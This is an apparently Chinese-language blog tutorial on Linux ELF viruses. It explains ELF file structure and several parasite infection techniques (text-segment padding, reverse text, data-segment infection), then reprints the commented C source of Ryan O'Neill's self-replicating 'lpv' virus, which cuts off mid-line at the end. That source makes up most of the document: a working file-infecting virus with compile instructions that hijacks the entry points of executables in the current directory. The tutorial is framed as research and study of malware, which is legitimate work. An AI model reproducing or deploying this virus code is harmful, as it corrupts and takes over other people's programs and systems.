说起病毒大家肯定都很熟悉,但大多数人想起的一定是windows平台下病毒,而对linux下的病毒熟悉的人却少之又少。
之前在学习ELF文件格式的时候了解到ELF病毒的存在,现在让我们来花点时间深入学习下ELF病毒吧:)
ELF文件可以被标记为下面几种类型:
用readelf -e
命令可以看到ELF头、节头、程序头、段节这些信息,接下来我们会对其进行简单地介绍。
用$ readelf -h
命令可以查看ELF文件头:
在usr/include/elf.h
文件中可以看到对elf头结构体的定义:
我们注意到前面readelf的输出里的“Magic”的16个字节刚好是对应”Elf32_Ehdr”的e_ident这个成员。这16个字节被ELF标准规定用来标识ELF文件的平台属性,比如ELF字长(32位/64位),字节序,ELF文件版本等等。
在输出中我们还能看到类别、数据、入口点地址等等重要信息,在分析一个ELF二进制文件之前检查ELF头是很重要的。
首先要注意的是节不是段。段是程序执行的必要组成部分,在每个段中,会有代码或数据被划分为不同的节。
而节头表是对这些节的位置和大小的描述,主要用于链接和调试。一个二进制文件中如果缺少节头并不说明节不存在,只是无法通过节头来引用节,所以,ELF文件一定会有节,但是不一定会有节头。
text段的布局如下:
[.text] 程序代码
[.rodata] 只读数据
[.hash] 符号散列表
[.dynsym] 共享目标文件符号数据
[.dynstr] 共享目标文件符号名称
[.plt] 过程链接表
[.rel.got] G.O.T重定位数据
data段的布局如下:
[,data] 全局初始化变量
[.dynamic] 动态链接结构的对象
[.got.plt] 全局偏移表
[.bss] 全局未初始化变量
接下来将介绍一些比较重要的节:
printf ("Hello World!\n");
这句代码就是保存在.rodata节中,并且只能在text段中找到.rodata节。ELF程序头是对二进制文件中段的描述,而段是在内核装载是被解析,描述了磁盘上可执行文件的内存布局以及如何映射到内存中的。
运行时需要链接的共享库列表
全局偏移表(GOT)的地址
重定位条目的相关信息
$ readelf -l
命令可以查看文件的Phdr表:每个可执行文件都有一个控制流,即执行路径,而elf病毒的首要目标是劫持控制流,暂时改变程序的执行路径来执行寄生代码。
寄生代码通常负责设置钩子来劫持函数,还会将自身代码复制到没有感染病毒的程序中。一旦寄生代码执行完成,就会跳到原始的入口点或正常的执行路径上,这样就使得病毒不容易被发现。
另外,一个真正的ELF病毒应该具有下面的特点:
前面说过寄生代码必须是独立的。由于每次感染的地址都会变化,寄生代码每次注入二进制文件中的位置也会变化,所以寄存程序必须能够动态计算出所在的内存地址。寄生代码可以使用IP相对代码,通过函数相对指令指针的偏移量来计算出代码的地址来执行函数。
使用gcc的-nostdlib
或-fpic
-pie
选项可以将其编译成位置独立的代码。
在病毒代码处理字符串时,如果遇到这样的代码const char *name = "elfvirus";
,编译器会将字符串数据存放在.rodata节中,然后通过地址对字符串进行引用,一旦使用病毒注入到其他程序中,这个地址就会失效。所以在编写病毒代码时一般使用栈来存放字符串:
char name[] = {'e', 'l', 'f', 'v', 'i', 'r', 'u', 's', '\0'};
或者是用仍然使用传统的字符串定义方式,然后用gcc的-N
选项,将text段和data段合并到一个单独的段中,使这个段具有可读、可写、可执行权限,这样病毒在感染时就会将这整个段注入,并包括了.rodata节的字符串数据。但是这样有时又会导致一个问题,字符串会保存在全局数据中,导致代码占用的空间增大,在一般的情况下我们是不希望病毒代码体积很大的。
一般情况下可以通过调整ELF文件头来将入口点指向寄生代码,但是这样做很容易暴露寄生代码的位置。更谨慎的方法是找一个合适的位置插入或修改分支,通过分支来跳转到寄生代码(jmp或重写函数指针),一般可以用.ctors或.init_array节,这两个节中存放着函数指针。
UNIX病毒之父Silvio发明的text段填充感染方法,利用了内存中text段和data段之间存在的一页大小的填充空间作为病毒体的存放空间。
.text感染算法
ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分,我们要逆向扩展text段,将text段的虚拟地址缩减PAGE_ALIGN(parasite_size)。
在现代Linux系统中允许的最小虚拟映射地址是0x1000,也就是text的虚拟地址最多能扩展到0x1000。在64位系统上,默认的text段虚拟地址通常是0x400000,这样寄生代码可占用的空间就达到了0x3ff000字节。在32位系统上,默认的text段虚拟地址通常是0x0804800,这就有可能产生更大的病毒。
计算一个可执行文件中可插入的最大寄生代码大小公式:
max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))
感染算法:
orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)
data段的数据有R+W权限,而text段来R+X权限,我们可以在未设置NX-bit的系统(32位linux系统)上,不改变data段权限并执行data段中的代码,这样对寄生代码的大小没有限制。但是要注意为.bss节预留空间,尽管.bss节不占用空间,但是它会在程序运行时给未初始化的遍历在data段末尾分配空间。
感染算法:
phdr->pvaddr + phdr->filesz
phdr[DATA].p_flags |= PF_X;
/usr/bin/strip <program>
将没有进行节头说明的寄生代码清除掉。前面说过,我们要编译独立的寄生代码,一方面也是为了让病毒能在不同的环境下运行。那么就不能使用其他的库,而是使用系统调用来完成病毒所需要的功能。通过系统调用我们可以直接访问到内核。
下面是在x86架构下,我们自己封装的系统调用的一组接口syscall0~syscall6,原本的接口可以在unistd.h
中查看:
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
return(type)__res; \
}
#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}
#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}
#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
return(type)__res; \
}
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}
#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
: "=a" (__res) \
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
"0" ((long)(arg6))); \
return(type),__res; \
}
实际上这组接口的区别只是向内核传递的参数个数不同,只有__syscall6多了栈操作。这是因为超过了五个参数就不能用寄存器来传递参数了,只能用使用栈。
病毒程序常用的系统调用如下:
__syscall0(int,fork);
__syscall1(time_t, time, time_t *, t);
__syscall1(int, close, int, fd);
__syscall1(unsigned long, brk, unsigned long, brk);
__syscall1(int, unlink, const char *, pathname);
__syscall1(void, exit, int, status);
__syscall2(int, fstat, int, fd, struct stat *, buf);
__syscall2(int, fchmod, int, filedes, mode_t, mode);
__syscall2(int,chmod,const char *,pathname,unsigned int,mode);
__syscall2(int, rename, const char *, oldpath, const char *, newpath);
__syscall3(int, fchown, int, fd, uid_t, owner, gid_t, group);
__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
__syscall3(int, open, const char *, file, int, flag, int, mode);
__syscall3(off_t, lseek, int, filedes, off_t, offset, int, whence);
__syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(int, execve, const char *, file, char **, argv, char **, envp);
__syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
lpv病毒是《linux二进制分析》作者Ryan O'Neill用.text感染算法写的linux32位下的测试病毒。
这个病毒将自己复制到它有权写入的第一个未受感染的可执行文件(复制也是病毒最本质的行为),它一次只复制一个可执行文件。 病毒会在感染的每个二进制文件中写入magic作为标记,使病毒能检测到文件是否为已被感染。 目前病毒只感染当前工作目录内的文件,但可以很容易地修改。
此病毒在主机可执行文件的text段末尾扩展/创建PAGE大小的填充,然后将其自身复制到该位置。 原始入口点被修补到寄生代码的起点,该寄生代码在其执行后将控制权返回给主机。该代码与位置无关并通过系统调用宏避开libc。
关键部分我在下面的源码中加上了注释:
/*
* Linux VIRUS - 12/19/08 Ryan O'Neill
*
* -= DISCLAIMER =-
* This code is purely for research purposes and so that the reader may have a deeper understanding
* of UNIX Virus infection within ELF executables.
*
* Behavior:
* The virus copies itself to the first uninfected executable that it has write permissions to,
* therefore the virus copies itself one executable at a time. The virus writes a bit of magic
* into each binary that it infects so that it knows not to re-infect it. The virus at present
* only infects files within the current working directory, but can easily be modified.
*
* This virus extends/creates a PAGE size padding at the end of the text segment within the host
* executable, and copies itself into that location. The original entry point is patched to the
* start of the parasite which returns control back to the host after its execution.
* The code is position independent and eludes libc through syscall macros.
*
* Compile:
* gcc virus.c -o virus -nostdlib
*
* elfmaster[at]zoho.com
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/fcntl.h>
#include <errno.h>
#include <elf.h>
#include <asm/unistd.h>
#include <asm/stat.h>
#define PAGE_SIZE 4096
#define BUF_SIZE 1024
#define TMP "vx.tmp"
void end_code(void);
unsigned long get_eip();
unsigned long old_e_entry;
void end_code(void);
void mirror_binary_with_parasite (unsigned int, unsigned char *, unsigned int,
struct stat, char *, unsigned long);
extern int myend;
extern int foobar;
extern int real_start;
_start()
{
__asm__(".globl real_start\n"
"real_start:\n"
"pusha\n"
"call do_main\n" //跳转到do_main()
"popa\n"
"jmp myend\n"); //跳转到病毒体结束位置
}
do_main()
{
struct linux_dirent
{
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[];
};
char *host;
char buf[BUF_SIZE];
char cwd[2];
struct linux_dirent *d;
int bpos;
int dd, nread;
unsigned char *tp;
int fd, i, c;
char text_found;
mode_t mode;
struct stat st;
unsigned long address_of_main = get_eip() - ((char *)&foobar - (char *)&real_start); //动态计算main函数地址
unsigned int parasite_size = (char *)&myend - (char *)&real_start; //病毒体尾部地址减去开始地址为寄生代码的大小
parasite_size += 7; // 7为jmp_code的大小,为了能跳转回原始入口点
unsigned long int leap_offset;
unsigned long parasite_vaddr;
unsigned int numbytes;
Elf32_Shdr *s_hdr;
Elf32_Ehdr *e_hdr;
Elf32_Phdr *p_hdr;
unsigned long text;
int nc;
int magic = 32769;
int m, md;
text_found = 0;
unsigned int after_insertion_offset;
unsigned int end_of_text;
char infected;
cwd[0] = '.';
cwd[1] = 0;
dd = open (cwd, O_RDONLY | O_DIRECTORY);
nread = getdents (dd, buf, BUF_SIZE);
/*重复读取并感染当前目录下的未被感染的可执行文件*/
for (bpos = 0; bpos < nread;) {
d = (struct linux_dirent *) (buf + bpos);
bpos += d->d_reclen;
host = d->d_name;
if (host[0] == '.')
continue;
if (host[0] == 'l')
continue;
fd = open (d->d_name, O_RDONLY);
stat(host, &st);
char mem[st.st_size];
infected = 0;
c = read (fd, mem, st.st_size);
e_hdr = (Elf32_Ehdr *) mem;
if (e_hdr->e_ident[0] != 0x7f && strcmp (&e_hdr->e_ident[1], "ELF")) //判断文件是否为一个elf可执行文件
{
close (fd);
continue;
}
else
{
p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
{
if (p_hdr->p_type == PT_LOAD)
{
if (p_hdr->p_flags == (PF_R | PF_X))
{
md = open(d->d_name, O_RDONLY);
unsigned int pt = (PAGE_SIZE - 4) - parasite_size;
lseek(md, p_hdr->p_offset + p_hdr->p_filesz + pt, SEEK_SET);
read(md, &m, sizeof(magic));
if (m == magic) //通过magic标记判断已感染的文件
infected++;
close(md);
break;
}
}
}
}
if (infected) //如果已经被感染就继续读取下一个文件
{
close(fd);
continue;
}
else
{
p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
{
/*定位text段的phdr*/
if (text_found)
{
p_hdr->p_offset += PAGE_SIZE;
continue;
}
else
if (p_hdr->p_type == PT_LOAD)
{
if (p_hdr->p_flags == (PF_R | PF_X))
{
text = p_hdr->p_vaddr;
parasite_vaddr = p_hdr->p_vaddr + p_hdr->p_filesz;
old_e_entry = e_hdr->e_entry; //覆盖旧入口点
e_hdr->e_entry = parasite_vaddr; //修改入口点为寄生代码的虚拟地址
end_of_text = p_hdr->p_offset + p_hdr->p_filesz;
p_hdr->p_filesz += parasite_size; //把文件和内存长度增加为寄生代码的长度
p_hdr->p_memsz += parasite_size;
text_found++;
}
}
}
}
s_hdr = (Elf32_Shdr *) (mem + e_hdr->e_shoff);
for (i = e_hdr->e_shnum; i-- > 0; s_hdr++) //遍历程序头
{
if (s_hdr->sh_offset >= end_of_text) //根据页长度增加位于寄生代码后的节头的偏移
s_hdr->sh_offset += PAGE_SIZE;
else
if (s_hdr->sh_size + s_hdr->sh_addr == parasite_vaddr) //把位于text段最后一个节头的大小增加为寄生代码的大小
s_hdr->sh_size += parasite_size;
}
e_hdr->e_shoff += PAGE_SIZE; //根据页长度增加段的偏移
mirror_binary_with_parasite (parasite_size, mem, end_of_text, st, host, address_of_main);
close (fd);
goto done;
}
done:
close (dd);
}
void
mirror_binary_with_parasite (unsigned int psize, unsigned char *mem,
unsigned int end_of_text, struct stat st, char *host, unsigned long address_of_main)
{
int ofd;
unsigned int c;
int i, t = 0;
int magic = 32769;
char tmp[3];
tmp[0] = '.';
tmp[1] = 'v';
tmp[2] = 0;
char jmp_code[7];
//使用jmp_code来跳转到原始入口点
jmp_code[0] = '\x68'; /* push */
jmp_code[1] = '\x00'; /* 00 */
jmp_code[2] = '\x00'; /* 00 */
jmp_code[3] = '\x00'; /* 00 */
jmp_code[4] = '\x00'; /* 00 */
jmp_code[5] = '\xc3'; /* ret */
jmp_code[6] = 0;
int return_entry_start = 1;
ofd = open (tmp, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode);
write (ofd, mem, end_of_text); //扩展text段的尾部
*(unsigned long *) &jmp_code[1] = old_e_entry; //把原始入口点写入到寄生代码头部
write (ofd, (char *)address_of_main, psize - 7); //将寄生代码从text段尾部写入
write (ofd, jmp_code, 7); //写入jmp_code
lseek (ofd, (PAGE_SIZE - 4) - psize, SEEK_CUR);
write (ofd, &magic, sizeof(magic)); //将magic写入宿主文件作为标记
mem += end_of_text;
unsigned int last_chunk = st.st_size - end_of_text;
write (ofd, mem, last_chunk);
rename (tmp, host);
close (ofd);
}
unsigned long get_eip(void)
{
__asm__("call foobar\n"
".globl foobar\n"
"foobar:\n"
"pop %eax");
}
/*系统调用接口定义*/
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
return(type)__res; \
}
#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}
#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}
#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
return(type)__res; \
}
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}
#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
: "=a" (__res) \
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
"0" ((long)(arg6))); \
return(type),__res; \
}
__syscall1(void, exit, int, status);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(off_t, lseek, int, fildes, off_t, offset, int, whence);
__syscall2(int, fstat, int, fildes, struct stat * , buf);
__syscall2(int, rename, const char